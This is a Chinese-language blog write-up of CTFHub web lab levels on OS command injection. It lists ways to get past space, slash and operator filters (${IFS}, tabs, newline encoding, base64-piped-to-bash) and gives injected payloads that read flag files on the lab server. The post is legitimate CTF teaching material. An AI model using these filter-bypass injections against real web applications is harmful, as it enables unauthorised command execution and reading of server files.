首页 > 其他分享 >ctfhub_WEB基础关(RCE续集)

ctfhub_WEB基础关(RCE续集)

时间:2023-09-19 20:35:19浏览次数:33  
标签:WEB 查看 IFS ctfhub 空格 flag 过滤 文件 RCE

WEB基础

七、RCE

8、过滤空格

  • 该关卡是将输入命令中的空格全部置空

    • 代码解读,这行代码使用了正则表达式来检查变量 $ip 是否包含空格字符。如果 preg_match_all 函数返回 false,表示没有匹配到空格字符,那么 $cmd 变量将设置为 ping 命令并执行该命令。否则,如果 $ip 中包含空格字符,它将不执行 ping 命令,而是将匹配结果存储在 $m 数组中,然后将 $res 设置为 $m,这样在后续的代码中可以打印出 $m 的内容。

    • 代替空格的常用方法

      ${IFS}$9
      {IFS}
      $IFS
      ${IFS}
      $IFS$1 //$1改成$加其他数字貌似都行
      < 
      <> 
      {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
      %20   (space)
      %09   (tab)
      
  • 利用ls命令查看当前目录下的文件

  • 访问flag文件,cat flag_271461284514672.php,访问不到其中的内容,代码过滤了命令中的空格,用其他方式代替空格读取

9、过滤目录分隔符

|| echo "Y2F0ICBmbGFnX2lzX2hlcmUvZmxhZ19pc19oZXJl" | base64 -d | bash
  • 使用ls查看当前文件下的目录

  • 查看改文件夹下面的文件,发现了flag文件

  • 直接用 cat flag_is_here/flag_270142452219003.php发现无法查看文件,代码中删除了/目录分割符

  • 利用;分别执行每个命令

10、过滤运算符

运算符过滤绕过的方式有%0a%0d%0D%0A

  • 查看页面源码,发现过滤了逻辑||&&运算符

  • 按照上一关的思路,可以利用分号来试试

    经过测试发现是可行的,并且发现了flag文件

  • 然后利用cat命令查看该文件,获得到ctfhub

11、综合过滤

  • 检查页面上的代码,发现前几关过滤的在这一关都被过滤了

  • 先查看目录

    127.0.0.1%0als
    

  • 查看文件夹中的内容

    127.0.0.1%0als${IFS}fl$*ag_is_here
    

  • 查看文件中的内容

    127.0.0.1%0acd${IFS}fl$*ag_is_here%0aless${IFS}fl$*ag_209951930013946.php
    

标签:WEB,查看,IFS,ctfhub,空格,flag,过滤,文件,RCE
From: https://www.cnblogs.com/xiaoyi208/p/17715698.html

相关文章

  • 8-web前端 动画 案例
    1、动画说明目标:使用animation添加动画效果   思考:过渡可以实现什么效果?   答:实现2个状态间的变化过程 动画效果:实现多个状态间的变化过程,动画过程可控(重复播放、最终画面、是否暂停) 动画的本质是快速切换大量图片时在人脑中形成的具有连续性的画面 构成动画......
  • Javaweb(第一天)
    一、在网页中的一些基本操作(1)添加title 1<title>杭州亚运会开幕式将实现两个“首次”</title> (2)添加标题(h1---h6) 1<h1>杭州亚运会开幕式将实现两个“首次”</h1> (3)在网页中添加音频,图片,视频audioimgvideo对应三种添加方式(4)在网页中添加文本内容,以及首行缩进,居中,靠......
  • 7-web前端 空间转换,3D效果
    1、认识3D转换近大远小近实远虚物体和面遮挡不可见2、三维坐标系   x轴:水平向右--注意:x轴右边是正值,左边是负值   y轴:垂直向下--注意:y轴下面是正值,上面是负值   z轴:垂直屏幕--注意:往外边的是正值,往里面的是负值 3、3D转换 3D转换知识......
  • Resource文件夹(转)
    转自:#Assets-Unity为何不建议使用ResourcesFolder?-简书(jianshu.com)最近换项目,中间有了几天“间歇期”,正好可以抽空读一读这篇文章,读起来并不轻松,英语水平有限,尝试理解其中的含义概念,有些段落反反复复看了多次,在这里把笔记分享出来,这也是对知识的一次总结。初学Unity......
  • 如何使用websocket写一个聊天软件
    为什么选用websocket?聊天软件如QQ、微信等之所以选择WebSocket作为底层通信协议,主要基于以下几个优点:实时性:WebSocket是一种全双工通信协议,允许服务器和客户端之间进行双向实时通信,而不需要手动刷新页面或轮询服务器。低延迟:WebSocket建立在单一的TCP连接之上,与传统的HTTP请......
  • 6-web前端的特效 平面转换transfrom
    平面转换transform作用:为元素添加动态效果,一般与过渡配合使用 概念:改变盒子在平面内的形态(位移、旋转、缩放、倾斜) 平面转换又叫2D转换1、平面转换----平移目标:使用translate实现元素位移效果语法transform:translate(水平移动距离,垂直移动距离);取值(正......
  • Web 开发工具
    代码编辑器高效编写代码是Web开发的一个关键方面。这是一个可以帮助您的创新工具:代码GPT通过CodeGPT利用人工智能的力量。这款人工智能驱动的代码编辑器可以协助完成编码任务、生成代码片段,甚至提供对编程概念的见解。借助codeGPT,您将能够更快、更高效地进行编码。无论您......
  • Educational Codeforces Round 143
    A.TwoTowers#include<bits/stdc++.h>usingnamespacestd;#defineintlonglong#definempmake_pairusingpii=pair<int,int>;usingvi=vector<int>;constexprintinf=1e18;voidsolve(){intn,m,cnt=0;stringa,......
  • nginx配置多个web项目
    location/{roothtml;indexindex.htmlindex.htm;try_files$uri$uri//index.html;}location/mobile{#多层目录时不能用root,要用aliasaliashtml/mobile;indexindex.html......
  • Spring Framework RCE CVE-2022-22965 漏洞分析
    摘要本文会从几个角度分析漏洞CVE-2022-22965,首先会从payload的构造。每次我都喜欢先分析漏洞的payload,不得不承认实力没达到可以直接分析漏洞地步。所以会先看看payload的构造过程看看,每次学习和分析漏洞的payload能学到很多有趣的角度和想法。从payload的构造分析,分析payload的......